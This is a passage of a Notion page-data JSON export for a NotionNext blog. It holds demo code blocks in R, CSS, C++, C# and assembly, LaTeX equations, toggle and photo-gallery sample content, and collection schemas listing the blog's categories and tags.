json_str)"]],"language":[["Python"]]},"format":{"code_wrap":false,"copied_from_pointer":{"id":"cfbb8514-5746-4091-b999-2866e4571a26","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991047,"last_edited_time":1705638991047,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"cfbb8514-5746-4091-b999-2866e4571a26"}},"cb1f9529-7659-4836-902b-9d15084eaa0a":{"value":{"id":"cb1f9529-7659-4836-902b-9d15084eaa0a","type":"code","properties":{"title":[["# R 语言\n#file.edit(path.expand(file.path(\"~\", \".Renviron\")))\nlibrary(telegram.bot)\nlibrary(stringr)\n# Initiate the bot session using the token from the enviroment variable.\nbot = Bot(token = bot_token('your_bot'))\nusr_list \u003c- c(12344566, 12345566)"]],"language":[["R"]]},"format":{"code_wrap":true,"copied_from_pointer":{"id":"36cb1cb7-d73c-4b90-82d3-dbb573207652","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991046,"last_edited_time":1705638991046,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"36cb1cb7-d73c-4b90-82d3-dbb573207652"}},"c7f0ee45-718e-4229-9f2f-b7c2fc7ad580":{"value":{"id":"c7f0ee45-718e-4229-9f2f-b7c2fc7ad580","type":"code","properties":{"title":[["html {\n\tbackground-color: red;\n}"]],"language":[["CSS"]]},"format":{"code_wrap":false,"copied_from_pointer":{"id":"a8e425a6-ce5b-40dc-ab17-580a83415d55","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991047,"last_edited_time":1705638991047,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"a8e425a6-ce5b-40dc-ab17-580a83415d55"}},"88676695-452c-49cb-9d9c-0711d2f1f4be":{"value":{"id":"88676695-452c-49cb-9d9c-0711d2f1f4be","type":"code","properties":{"title":[["#include \u003ciostream\u003e\nusing namespace std;\n \n// main() 是程序开始执行的地方\n \nint main()\n{\n   cout \u003c\u003c \"Hello World\"; // 输出 Hello World\n   return 0;\n}"]],"language":[["cpp"]]},"format":{"code_wrap":false,"copied_from_pointer":{"id":"37cfbb5c-1b8e-4394-b6fe-a644a0ffc13b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991046,"last_edited_time":1705638991046,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"37cfbb5c-1b8e-4394-b6fe-a644a0ffc13b"}},"025fccd3-0e3c-4be1-85bb-1880edddeb65":{"value":{"id":"025fccd3-0e3c-4be1-85bb-1880edddeb65","type":"code","properties":{"title":[["using System;\nnamespace HelloWorldApplication\n{\n   class HelloWorld\n   {\n      static void Main(string[] args)\n      {\n         Console.WriteLine(\"Hello World\");\n         Console.ReadKey();\n      }\n   }\n}"]],"language":[["csharp"]]},"format":{"code_wrap":false,"copied_from_pointer":{"id":"45b73aab-c9a1-4354-8b75-3e46b625dc1b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991047,"last_edited_time":1705638991047,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"45b73aab-c9a1-4354-8b75-3e46b625dc1b"}},"4d19c930-9e8b-4fc5-b273-19717fe62e33":{"value":{"id":"4d19c930-9e8b-4fc5-b273-19717fe62e33","type":"code","properties":{"title":[[".section __TEXT,__text,regular,pure_instructions\n.macosx_version_min 10, 13\n.globl _add_a_b\n.p2align 4, 0x90\n_add_a_b: ## @add_a_b\n.cfi_startproc\n## BB#0:\npushq %rbp\nLcfi0:\n.cfi_def_cfa_offset 16\nLcfi1:\n.cfi_offset %rbp, -16\nmovq %rsp, %rbp\nLcfi2:\n.cfi_def_cfa_register %rbp\nmovl %edi, -4(%rbp)\nmovl %esi, -8(%rbp)\nmovl -4(%rbp), %esi\naddl -8(%rbp), %esi\nmovl %esi, %eax\npopq %rbp\nretq\n.cfi_endproc\n\n.globl _main\n.p2align 4, 0x90\n_main: ## @main\n.cfi_startproc\n## BB#0:\npushq %rbp\nLcfi3:\n.cfi_def_cfa_offset 16\nLcfi4:\n.cfi_offset %rbp, -16\nmovq %rsp, %rbp\nLcfi5:\n.cfi_def_cfa_register %rbp\nsubq $16, %rsp\nmovl $1, %edi\nmovl $2, %esi\nmovl $0, -4(%rbp)\ncallq _add_a_b\naddq $16, %rsp\npopq %rbp\nretq\n.cfi_endproc"]],"language":[["asm6502"]]},"format":{"code_wrap":true,"copied_from_pointer":{"id":"e2716bef-d213-4a69-8fb1-6ffaba898dc8","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991048,"last_edited_time":1705638991048,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"e2716bef-d213-4a69-8fb1-6ffaba898dc8"}},"583d808b-a380-4da7-a547-23a10d3fa5c8":{"value":{"id":"583d808b-a380-4da7-a547-23a10d3fa5c8","type":"equation","properties":{"title":[["\\begin{aligned}\nAACD \\Rightarrow AAAD \u0026= \\frac 1 3\\\\ \nAACD \\Rightarrow AACD \u0026= \\frac 1 3 + \\frac 1 6 = \\frac 1 2  \\\\ \nAACD \\Rightarrow AACC \u0026= \\frac 1 6 \\end{aligned}"]]},"format":{"copied_from_pointer":{"id":"32375efe-705a-4363-9a7f-a5ec0c55ed18","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","parent_table":"block","alive":true,"copied_from":"32375efe-705a-4363-9a7f-a5ec0c55ed18"}},"7e94f6c0-5ab6-4778-9277-992fd5664f01":{"value":{"id":"7e94f6c0-5ab6-4778-9277-992fd5664f01","type":"equation","properties":{"title":[["\\begin{bmatrix}\n\t\tc_{0}\u0026c_{n-1}\u0026c_{n-2}\u0026\\cdots \u0026c_{1}\\\\\n\t\tc_{1}\u0026c_{0}\u0026c_{n-1} \u0026  \\cdots \u0026c_{2}\\\\\n\t\tc_{2}\u0026c_{1}\u0026c_{0}\u0026\\cdots  \u0026c_3 \\\\\n\t\t\\vdots \u0026\\vdots\u0026 \\vdots\u0026\\ddots \u0026\\vdots \\\\\n\t\tc_{n-1}\u0026c_{n-2}\u0026c_{n-3}\u0026\\dots \u0026c_{0}\n\\end{bmatrix}"]]},"format":{"copied_from_pointer":{"id":"c9c7ad1d-e52e-4331-9152-f8adb04baa33","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","parent_table":"block","alive":true,"copied_from":"c9c7ad1d-e52e-4331-9152-f8adb04baa33"}},"52d5a916-ab83-448a-9f42-1a7ef92b2e19":{"value":{"id":"52d5a916-ab83-448a-9f42-1a7ef92b2e19","type":"equation","properties":{"title":[["\\begin{aligned} \\sin 2\\theta \u0026 = 2\\sin \\theta \\cos \\theta \\\\ \u0026 = \\cfrac{2 \\tan \\theta}{1+\\tan^2 \\theta} \\end{aligned}"]]},"format":{"copied_from_pointer":{"id":"1b202589-6640-472f-9f2d-3992d5e4d45a","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","parent_table":"block","alive":true,"copied_from":"1b202589-6640-472f-9f2d-3992d5e4d45a"}},"68c4d878-bb42-4e06-baa5-635a4f804e97":{"value":{"id":"68c4d878-bb42-4e06-baa5-635a4f804e97","type":"text","format":{"copied_from_pointer":{"id":"e6f9b186-7a60-4e8a-8136-15cc230bdced","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","parent_table":"block","alive":true,"copied_from":"e6f9b186-7a60-4e8a-8136-15cc230bdced"}},"408dee57-e78b-4bff-b11d-dae0ffb56756":{"value":{"id":"408dee57-e78b-4bff-b11d-dae0ffb56756","type":"equation","properties":{"title":[["AACD\\Rightarrow \\left\\{\\begin{matrix}\n第1次取值 \u0026 第2次取值 \u0026 概率 \u0026 最终状态\\\\\nA \u0026 C,D \u0026= \\frac 1 2 \\times \\frac 2 3= \\frac 1 3 \u0026\\Rightarrow AAAD \\\\ \nA \u0026 A \u0026= \\frac 1 2 \\times \\frac 1 3= \\frac 1 6 \u0026\\Rightarrow AACD \\\\ \nC,D \u0026 A \u0026= 2 \\times \\frac 1 4 \\times \\frac 2 3= \\frac 1 3 \u0026\\Rightarrow CCAD \\\\ \nC,D \u0026 C,D \u0026= 2 \\times \\frac 1 4 \\times \\frac 1 3= \\frac 1 6 \u0026\\Rightarrow CCAA\n\\end{matrix}\\right. "]]},"format":{"copied_from_pointer":{"id":"85681cf1-4c8b-4ceb-8752-d17c32acf930","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","parent_table":"block","alive":true,"copied_from":"85681cf1-4c8b-4ceb-8752-d17c32acf930"}},"02efa7b3-d1ce-40f7-9a23-f687b0046e4d":{"value":{"id":"02efa7b3-d1ce-40f7-9a23-f687b0046e4d","type":"toggle","properties":{"title":[["点击展开"]]},"content":["43b0eea5-af0c-4e07-a769-c247b1a00029"],"format":{"copied_from_pointer":{"id":"81a4b6d2-5997-4e4d-b0ae-fe1516bf00c1","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"4748bbad-6dc8-4e84-ab43-96c076df3dd2","parent_table":"block","alive":true,"copied_from":"81a4b6d2-5997-4e4d-b0ae-fe1516bf00c1"}},"43b0eea5-af0c-4e07-a769-c247b1a00029":{"value":{"id":"43b0eea5-af0c-4e07-a769-c247b1a00029","type":"toggle","properties":{"title":[["点击展开"]]},"content":["a0318786-f5d2-4a58-8ccc-9d56bbe6b155"],"format":{"copied_from_pointer":{"id":"bbaeea0d-972a-42c1-a49f-3ab97ccb3903","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991055,"last_edited_time":1705638991055,"parent_id":"02efa7b3-d1ce-40f7-9a23-f687b0046e4d","parent_table":"block","alive":true,"copied_from":"bbaeea0d-972a-42c1-a49f-3ab97ccb3903"}},"a0318786-f5d2-4a58-8ccc-9d56bbe6b155":{"value":{"id":"a0318786-f5d2-4a58-8ccc-9d56bbe6b155","type":"text","properties":{"title":[["内容可以多级嵌套"]]},"format":{"copied_from_pointer":{"id":"d4b91a6a-beae-488c-816a-b9f504b739fc","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991057,"last_edited_time":1705638991057,"parent_id":"43b0eea5-af0c-4e07-a769-c247b1a00029","parent_table":"block","alive":true,"copied_from":"d4b91a6a-beae-488c-816a-b9f504b739fc"}},"02f024a6-0fd0-4a05-b201-762f56287c1d":{"value":{"id":"02f024a6-0fd0-4a05-b201-762f56287c1d","type":"page","properties":{"YNJw":[["查看",[["a","https://preview.tangly1024.com/fc758ffac897479d9a7161cce3272520"]]]],"title":[["照片标题1"]]},"content":["797d2ded-5b17-45a2-a474-8a121fa12a3d"],"format":{"page_cover":"/images/page-cover/met_emanuel_leutze.jpg","copied_from_pointer":{"id":"fc758ffa-c897-479d-9a71-61cce3272520","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0.7},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"7b11173d-8924-4a09-8897-50956378c0fc","parent_table":"collection","alive":true,"copied_from":"fc758ffa-c897-479d-9a71-61cce3272520"}},"c7f423be-6c39-4b76-a750-e7d7d92161fd":{"value":{"id":"c7f423be-6c39-4b76-a750-e7d7d92161fd","type":"page","properties":{"YNJw":[["https://tangly1024.com/",[["a","https://tangly1024.com/"]]]],"title":[["照片标题2"]]},"content":["198479d6-383d-4532-b0df-9c41bfaf66d8"],"format":{"page_cover":"/images/page-cover/woodcuts_5.jpg","copied_from_pointer":{"id":"77e3d7d4-bd0f-41dd-9aaf-3f0b99f2e04d","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"7b11173d-8924-4a09-8897-50956378c0fc","parent_table":"collection","alive":true,"copied_from":"77e3d7d4-bd0f-41dd-9aaf-3f0b99f2e04d"}},"797d2ded-5b17-45a2-a474-8a121fa12a3d":{"value":{"id":"797d2ded-5b17-45a2-a474-8a121fa12a3d","type":"text","properties":{"title":[["这是照片内容详情"]]},"format":{"copied_from_pointer":{"id":"ceaa6aaa-d200-4100-a0a7-d23ae49b2eef","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991057,"last_edited_time":1705638991057,"parent_id":"02f024a6-0fd0-4a05-b201-762f56287c1d","parent_table":"block","alive":true,"copied_from":"ceaa6aaa-d200-4100-a0a7-d23ae49b2eef"}},"198479d6-383d-4532-b0df-9c41bfaf66d8":{"value":{"id":"198479d6-383d-4532-b0df-9c41bfaf66d8","type":"text","properties":{"title":[["这是照片详情的内容"]]},"format":{"copied_from_pointer":{"id":"ebff1c93-27e9-445d-876f-3967f072ec15","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991057,"last_edited_time":1705638991057,"parent_id":"c7f423be-6c39-4b76-a750-e7d7d92161fd","parent_table":"block","alive":true,"copied_from":"ebff1c93-27e9-445d-876f-3967f072ec15"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"7b11173d-8924-4a09-8897-50956378c0fc":{"value":{"id":"7b11173d-8924-4a09-8897-50956378c0fc","version":1,"name":[["照片集"]],"schema":{"YNJw":{"name":"URL","type":"text"},"title":{"name":"Name","type":"title"}},"format":{"copied_from_pointer":{"id":"4aa08af5-4f04-45fa-ac44-84438e088ba8","table":"collection","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"collection_page_properties":[{"visible":true,"property":"YNJw"}]},"parent_id":"43181d65-d467-4bd5-a8cb-6942161eabd5","parent_table":"block","alive":true,"copied_from":"4aa08af5-4f04-45fa-ac44-84438e088ba8","migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"4379bc14-5d22-453b-a153-12639616fc01":{"value":{"id":"4379bc14-5d22-453b-a153-12639616fc01","version":684,"name":[["Notion Blog"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"Config"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/6c096b44-beb9-48ee-8f92-1efdde47f3a3/29db38d2-d5fa-4fa6-8a92-3b527cfe80d1/favicon.svg","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"8e7acf17-de09-4fa1-abde-b5b80ad4a813","table":"collection","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"06f53161-8c9a-4e9c-8109-a8bd142a7b06"}},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","29db38d2-d5fa-4fa6-8a92-3b527cfe80d1"],"copied_from":"8e7acf17-de09-4fa1-abde-b5b80ad4a813","template_pages":["06f53161-8c9a-4e9c-8109-a8bd142a7b06"],"migrated":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3","deleted_schema":{"\u003eVd?":{"name":"Last Edited Time","type":"last_edited_time"},"CXUG":{"name":"Property","type":"text"},"GKHK":{"name":"Created Time","type":"created_time"},"OcN|":{"name":"Property","type":"text"},"ag`\u003c":{"name":"realate","type":"text"},"ckw_":{"name":"Property","type":"last_edited_time"},"kiCR":{"name":"created_time","type":"created_time"},"uHoD":{"name":"last_edited_time","type":"last_edited_time"},"vk?@":{"name":"last_edited_time","type":"last_edited_time"}}},"role":"reader"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7